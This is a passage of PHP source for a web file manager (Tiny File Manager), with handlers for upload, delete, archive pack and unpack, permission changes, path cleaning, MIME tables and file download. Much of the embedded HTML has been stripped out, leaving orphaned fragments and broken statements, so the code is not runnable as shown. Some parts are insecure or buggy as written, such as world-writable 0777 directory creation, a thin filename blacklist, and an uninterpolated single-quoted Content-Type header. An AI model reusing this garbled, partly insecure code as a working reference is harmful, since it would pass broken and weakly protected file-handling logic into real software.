if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $_REQUEST['fullpath'];
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if(file_exists ($fullPath) && !$override_file_name) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
}
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
if (move_uploaded_file($tmp_name, $fullPath)) {
// Be sure that the file has been uploaded
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
//TODO:: need to handle the error
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) && fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
//get the allowed file extensions
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION && $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
""
Full path:
File size:
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . ' ';
}
?>
';
} else if($online_viewer == 'microsoft') {
echo '
';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '
';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '' . fm_enc($fn['name']) . ' ';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ') ';
}
}
echo '';
} else {
echo '
'.lng('Error while fetching archive info').'
';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '
';
}
} elseif ($is_audio) {
// Audio content
echo '
';
} elseif ($is_video) {
// Video content
echo '
';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '
' . fm_enc($content) . '';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '
' . fm_enc($content) . ' ';
}
echo $content;
}
?>
' . htmlspecialchars($content) . '';
} elseif ($is_text) {
echo '
' . htmlspecialchars($content) . '
';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
* @param $path
* @return string
*/
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
/**
* Check file is in exclude list
* @param string $file
* @return bool
*/
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
/**
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
/**
* @param $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
* @return int|string
*/
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = $size > 0 ? floor(log($size, 1024)) : 0;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
* Get director total size
* @param string $directory
* @return int
*/
function fm_get_directorysize($directory) {
global $calc_folder;
if ($calc_folder==true) { // Slower output
$size = 0; $count= 0; $dirCount= 0;
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
if ($file->isFile())
{ $size+=$file->getSize();
$count++;
}
else if ($file->isDir()) { $dirCount++; }
// return [$size, $count, $dirCount];
return $size;
}
else return 'Folder'; // Quick output
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' && function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => zip_entry_filesize($zip_entry),
'compressed_size' => zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
//'compression_method' => zip_entry_compressionmethod($zip_entry),
);
}
zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' && class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* Prevent XSS attacks
* @param string $text
* @return string
*/
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[FM_SESSION_ID]['message'] = $msg;
$_SESSION[FM_SESSION_ID]['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
case 'xz':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
/**
* This function scans the files and folder recursively, and return matching files
* @param string $dir
* @param string $filter
* @return json
*/
function scan($dir, $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($dir) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
header("Cache-Control: public");
header("Content-Transfer-Encoding: binary\n");
header('Content-Type: $contentType');
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
$size = filesize($fileLocation);
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
if ($size == 0) {
die('Zero byte file! Aborting download');
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
fseek($fp, $range);
while (!feof($fp) and (connection_status() == 0)) {
set_time_limit(0);
print(@fread($fp, 1024*$chunkSize));
flush();
ob_flush();
// sleep(1);
}
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'Tiny File Manager Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= ' ';
$msg .= ' Seems like you have a trailing slash on the URL.';
$msg .= ' Try this link: ' . $fm_url . ' ';
}
die($msg);
}
if (is_array($data) && count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "
";
$sep = '
/ ';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "
" . fm_enc(fm_convert_win($exploded[$i])) . " ";
}
$root_url .= $sep . implode($sep, $array);
}
echo '
' . $root_url . '
';
?>
' . $_SESSION[FM_SESSION_ID]['message'] . '';
unset($_SESSION[FM_SESSION_ID]['message']);
unset($_SESSION[FM_SESSION_ID]['status']);
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
'; } ?>
">
'; } ?>
">
